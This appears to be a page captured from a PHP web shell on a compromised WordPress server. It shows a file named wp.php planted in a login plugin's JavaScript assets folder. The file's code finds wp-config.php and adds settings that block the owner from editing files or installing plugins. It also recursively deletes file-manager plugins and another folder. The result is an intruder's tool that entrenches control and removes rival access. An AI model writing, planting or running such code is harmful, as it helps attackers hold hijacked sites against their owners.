HEX
Server: LiteSpeed
System: Linux server.tenvelop.com 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
User: livspacetenvelop (1024)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/livspacetenvelop/public_html/wp-content/plugins/login-customizer/freemius/assets/js/wp.php
<?php
@ini_set('display_errors', 1);
@error_reporting(E_ALL);

echo "<h2>🔧 Auto Scan WordPress (Dari Mana Aja)</h2>";

$start_dir = __DIR__;
echo "<p>📂 Mulai dari: <code>" . htmlspecialchars($start_dir) . "</code></p>";

$wp_config = find_wp_config($start_dir);

if (!$wp_config) {
    echo "❌ wp-config.php tidak ditemukan naik ke atas dari sini.<br>";
    exit;
}

echo "✅ Ditemukan: <code>" . htmlspecialchars($wp_config) . "</code><br><br>";

update_wp_config($wp_config);
remove_bad_plugins($wp_config);

// === FUNCTIONS ===

function find_wp_config($start) {
    $dir = $start;
    while ($dir !== dirname($dir)) {
        $wp_config_path = $dir . '/wp-config.php';
        if (file_exists($wp_config_path)) {
            return $wp_config_path;
        }
        $dir = dirname($dir);
    }
    return false;
}

function update_wp_config($path) {
    if (!is_readable($path)) {
        echo "❌ Gagal membaca file: " . htmlspecialchars($path) . "<br>";
        return;
    }

    $config = file_get_contents($path);
    if ($config === false) {
        echo "❌ Gagal baca file: " . htmlspecialchars($path) . "<br>";
        return;
    }

    $edit_define = "define('DISALLOW_FILE_EDIT', true);";
    $mods_define = "define('DISALLOW_FILE_MODS', true);";
    $modified = false;

    if (strpos($config, $edit_define) === false) {
        $config .= "\n" . $edit_define . "\n";
        echo "✅ Tambah DISALLOW_FILE_EDIT<br>";
        $modified = true;
    }

    if (strpos($config, $mods_define) === false) {
        $config .= "\n" . $mods_define . "\n";
        echo "✅ Tambah DISALLOW_FILE_MODS<br>";
        $modified = true;
    }

    if ($modified) {
        if (!is_writable($path)) {
            echo "❌ File tidak bisa ditulis: " . htmlspecialchars($path) . "<br>";
            return;
        }

        if (file_put_contents($path, $config) !== false) {
            echo "✅ wp-config.php berhasil diperbarui!<br>";
        } else {
            echo "❌ Gagal memperbarui wp-config.php<br>";
        }
    } else {
        echo "â„šī¸ Define sudah ada, gak perlu diapa-apain.<br>";
    }
}

function delete_directory($dir) {
    if (!file_exists($dir)) return false;

    $items = scandir($dir);
    if ($items === false) return false;

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            if (!delete_directory($path)) {
                return false;
            }
        } else {
            if (!@unlink($path)) {
                return false;
            }
        }
    }

    return @rmdir($dir);
}

function remove_bad_plugins($wp_config_path) {
    $wp_root = dirname($wp_config_path);
    $plugin_dir = $wp_root . '/wp-content/plugins';

    // Daftar plugin atau folder mencurigakan yang ingin dihapus
    $targets = ['wp-file-manager', 'file-manager-advanced', 'yanierin'];

    if (!is_dir($plugin_dir)) {
        echo "❌ Folder plugin tidak ditemukan: " . htmlspecialchars($plugin_dir) . "<br>";
        return;
    }

    foreach ($targets as $plugin) {
        $plugin_path = $plugin_dir . '/' . $plugin;
        if (is_dir($plugin_path)) {
            if (delete_directory($plugin_path)) {
                echo "đŸ—‘ī¸ Plugin <code>" . htmlspecialchars($plugin) . "</code> dihapus<br>";
            } else {
                echo "❌ Gagal hapus plugin <code>" . htmlspecialchars($plugin) . "</code><br>";
            }
        } else {
            echo "â„šī¸ Plugin <code>" . htmlspecialchars($plugin) . "</code> tidak ditemukan<br>";
        }
    }
}
?>